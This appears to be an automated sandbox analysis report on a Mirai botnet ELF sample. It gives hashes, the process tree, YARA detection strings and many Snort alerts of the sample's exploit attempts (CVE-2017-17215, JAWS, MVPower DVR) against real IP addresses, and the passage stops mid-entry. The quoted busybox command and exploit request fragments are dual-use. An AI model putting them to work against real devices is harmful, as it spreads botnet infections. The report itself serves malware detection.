Edit tour

Linux Analysis Report
t9lNEiD3ui.elf

Overview

General Information

Sample name:	t9lNEiD3ui.elf renamed because original name is a hash value
Original sample name:	0a305a485936ad7b125fd7c290a0eb96.elf
Analysis ID:	1450304
MD5:	0a305a485936ad7b125fd7c290a0eb96
SHA1:	c7e3cf74d777ab0f245e2490623cae64daf8b8cd
SHA256:	3a8d62d46b4085e40a80a7595995da009984db3e75096580d4f3008d0a588272
Tags:	32elfmirairenesas
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Document contains embedded VBA macros

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1450304
Start date and time:	2024-06-01 18:15:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	t9lNEiD3ui.elf renamed because original name is a hash value
Original Sample Name:	0a305a485936ad7b125fd7c290a0eb96.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/1@67/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/t9lNEiD3ui.elf
PID:	6203
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

t9lNEiD3ui.elf (PID: 6203, Parent: 6118, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/t9lNEiD3ui.elf

t9lNEiD3ui.elf New Fork (PID: 6205, Parent: 6203)

t9lNEiD3ui.elf New Fork (PID: 6207, Parent: 6205)

t9lNEiD3ui.elf New Fork (PID: 6208, Parent: 6205)

t9lNEiD3ui.elf New Fork (PID: 6209, Parent: 6205)

t9lNEiD3ui.elf New Fork (PID: 6212, Parent: 6205)

t9lNEiD3ui.elf New Fork (PID: 6215, Parent: 6205)

xfce4-panel New Fork (PID: 6221, Parent: 2063)

wrapper-2.0 (PID: 6221, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"

xfce4-panel New Fork (PID: 6222, Parent: 2063)

wrapper-2.0 (PID: 6222, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"

xfce4-panel New Fork (PID: 6224, Parent: 2063)

wrapper-2.0 (PID: 6224, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"

xfce4-panel New Fork (PID: 6225, Parent: 2063)

wrapper-2.0 (PID: 6225, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"

wrapper-2.0 New Fork (PID: 6244, Parent: 6225)

xfpm-power-backlight-helper (PID: 6244, Parent: 6225, MD5: 3d221ad23f28ca3259f599b1664e2427) Arguments: /usr/sbin/xfpm-power-backlight-helper --get-max-brightness

xfce4-panel New Fork (PID: 6226, Parent: 2063)

wrapper-2.0 (PID: 6226, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"

xfce4-panel New Fork (PID: 6227, Parent: 2063)

wrapper-2.0 (PID: 6227, Parent: 2063, MD5: ac0b8a906f359a8ae102244738682e76) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"

dbus-daemon New Fork (PID: 6243, Parent: 6242)

xfconfd (PID: 6243, Parent: 6242, MD5: 4c7a0d6d258bb970905b19b84abcd8e9) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd

systemd New Fork (PID: 6253, Parent: 1860)

xfce4-notifyd (PID: 6253, Parent: 1860, MD5: eee956f1b227c1d5031f9c61223255d1) Arguments: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
t9lNEiD3ui.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
t9lNEiD3ui.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
t9lNEiD3ui.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
t9lNEiD3ui.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10919:$x2: /bin/busybox chmod 777 * /tmp/ 0x10664:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
t9lNEiD3ui.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
6203.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6203.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6203.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6203.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10919:$x2: /bin/busybox chmod 777 * /tmp/ 0x10664:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
6203.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6212.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6212.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6212.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6212.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10919:$x2: /bin/busybox chmod 777 * /tmp/ 0x10664:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
6212.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6207.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6207.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6207.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6207.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10919:$x2: /bin/busybox chmod 777 * /tmp/ 0x10664:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
6207.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6209.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6209.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6209.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6209.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10919:$x2: /bin/busybox chmod 777 * /tmp/ 0x10664:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
6209.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6208.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6208.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6208.1.00007fae84400000.00007fae84412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6208.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10919:$x2: /bin/busybox chmod 777 * /tmp/ 0x10664:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x105ec:$s3: POST /cdn-cgi/
6208.1.00007fae84400000.00007fae84412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x105ec:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: t9lNEiD3ui.elf PID: 6203	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: t9lNEiD3ui.elf PID: 6207	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: t9lNEiD3ui.elf PID: 6208	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: t9lNEiD3ui.elf PID: 6209	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: t9lNEiD3ui.elf PID: 6212	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 25 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.81.225.105

Timestamp:	06/01/24-18:15:54.251831
SID:	2835222
Source Port:	35770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.32.165.26

Timestamp:	06/01/24-18:15:55.261460
SID:	2829579
Source Port:	42000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.210.196.213

Timestamp:	06/01/24-18:15:55.265326
SID:	2030092
Source Port:	57236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.125.210.105

Timestamp:	06/01/24-18:15:55.268249
SID:	2030092
Source Port:	50984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.163.130

Timestamp:	06/01/24-18:15:56.307074
SID:	2829579
Source Port:	58850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 60.55.180.73

Timestamp:	06/01/24-18:15:53.241651
SID:	2025883
Source Port:	40554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.46.217.40

Timestamp:	06/01/24-18:15:56.307832
SID:	2829579
Source Port:	46636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.9.236.107

Timestamp:	06/01/24-18:15:54.252468
SID:	2829579
Source Port:	45594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.114.181.205

Timestamp:	06/01/24-18:15:53.240541
SID:	2030092
Source Port:	54536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.157.253

Timestamp:	06/01/24-18:15:55.260401
SID:	2829579
Source Port:	43740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.244.32.219

Timestamp:	06/01/24-18:15:53.237757
SID:	2030092
Source Port:	37624
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.41.49.187

Timestamp:	06/01/24-18:15:55.259281
SID:	2829579
Source Port:	44494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.89.47.231

Timestamp:	06/01/24-18:15:55.264884
SID:	2030092
Source Port:	48322
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.154.217.12

Timestamp:	06/01/24-18:15:54.253854
SID:	2835222
Source Port:	42030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.172.16.124

Timestamp:	06/01/24-18:15:55.268202
SID:	2030092
Source Port:	40682
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 212.199.183.185

Timestamp:	06/01/24-18:15:53.239333
SID:	2030092
Source Port:	50980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.136.68.81

Timestamp:	06/01/24-18:15:55.263107
SID:	2835222
Source Port:	52304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.39.123.219

Timestamp:	06/01/24-18:15:53.238879
SID:	2030092
Source Port:	42554
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.109.223.59

Timestamp:	06/01/24-18:15:54.254927
SID:	2829579
Source Port:	46710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.227.44.103

Timestamp:	06/01/24-18:15:55.259084
SID:	2829579
Source Port:	34116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.198.133.179

Timestamp:	06/01/24-18:15:54.251475
SID:	2829579
Source Port:	56050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.170.206.200

Timestamp:	06/01/24-18:15:54.238118
SID:	2030092
Source Port:	60810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.55.54.27

Timestamp:	06/01/24-18:15:54.273912
SID:	2829579
Source Port:	35310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.182.240.81

Timestamp:	06/01/24-18:15:55.259125
SID:	2829579
Source Port:	53256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.166.201.246

Timestamp:	06/01/24-18:15:56.308094
SID:	2835222
Source Port:	36302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.45.224.43

Timestamp:	06/01/24-18:15:54.252286
SID:	2829579
Source Port:	52362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.139.184.97

Timestamp:	06/01/24-18:15:54.254181
SID:	2835222
Source Port:	44086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.177.93.194

Timestamp:	06/01/24-18:15:56.307255
SID:	2829579
Source Port:	35724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.228.134.26

Timestamp:	06/01/24-18:15:55.268096
SID:	2030092
Source Port:	45848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.29.240.127

Timestamp:	06/01/24-18:15:54.251747
SID:	2835222
Source Port:	40380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.206.192.214

Timestamp:	06/01/24-18:15:53.237729
SID:	2030092
Source Port:	53384
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.164.227.208

Timestamp:	06/01/24-18:15:54.251062
SID:	2835222
Source Port:	48658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.177.223.221

Timestamp:	06/01/24-18:15:54.256517
SID:	2829579
Source Port:	55302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.152.35.55

Timestamp:	06/01/24-18:15:55.266093
SID:	2030092
Source Port:	42032
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 48.52.58.128

Timestamp:	06/01/24-18:15:53.247100
SID:	2025883
Source Port:	54366
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 132.66.64.38

Timestamp:	06/01/24-18:15:54.238864
SID:	2025883
Source Port:	40456
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.24.244.117

Timestamp:	06/01/24-18:15:54.256904
SID:	2835222
Source Port:	58434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.75.164.254

Timestamp:	06/01/24-18:15:55.265423
SID:	2030092
Source Port:	55036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.58.214.28

Timestamp:	06/01/24-18:15:54.252388
SID:	2835222
Source Port:	53196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.23.227

Timestamp:	06/01/24-18:15:56.305803
SID:	2829579
Source Port:	50172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 168.235.31.17

Timestamp:	06/01/24-18:15:54.237601
SID:	2025883
Source Port:	44574
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.69.9.82

Timestamp:	06/01/24-18:15:54.273782
SID:	2835222
Source Port:	46148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.115.193.139

Timestamp:	06/01/24-18:15:55.261704
SID:	2829579
Source Port:	59268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.240.253.41

Timestamp:	06/01/24-18:15:53.238079
SID:	2030092
Source Port:	43832
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.172.71.185

Timestamp:	06/01/24-18:15:54.238523
SID:	2030092
Source Port:	58026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.229.128.11

Timestamp:	06/01/24-18:15:56.254680
SID:	2030092
Source Port:	34716
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.114.72.170

Timestamp:	06/01/24-18:15:56.308237
SID:	2829579
Source Port:	45302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 124.204.6.25

Timestamp:	06/01/24-18:15:54.239606
SID:	2030092
Source Port:	48026
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.239.209.224

Timestamp:	06/01/24-18:15:54.252809
SID:	2829579
Source Port:	53806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.222.141

Timestamp:	06/01/24-18:15:54.256311
SID:	2835222
Source Port:	32974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.146.75.139

Timestamp:	06/01/24-18:15:55.260737
SID:	2829579
Source Port:	53226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.122.9.247

Timestamp:	06/01/24-18:15:54.274230
SID:	2835222
Source Port:	55148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.48.71.40

Timestamp:	06/01/24-18:15:54.273711
SID:	2835222
Source Port:	37362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 129.88.154.122

Timestamp:	06/01/24-18:15:56.287347
SID:	2030092
Source Port:	47844
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.97.81.103

Timestamp:	06/01/24-18:15:56.308066
SID:	2829579
Source Port:	57036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 187.205.139.84

Timestamp:	06/01/24-18:15:53.240367
SID:	2030092
Source Port:	33706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 118.249.69.78

Timestamp:	06/01/24-18:15:54.239670
SID:	2025883
Source Port:	54808
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.102.253.127

Timestamp:	06/01/24-18:15:55.259918
SID:	2829579
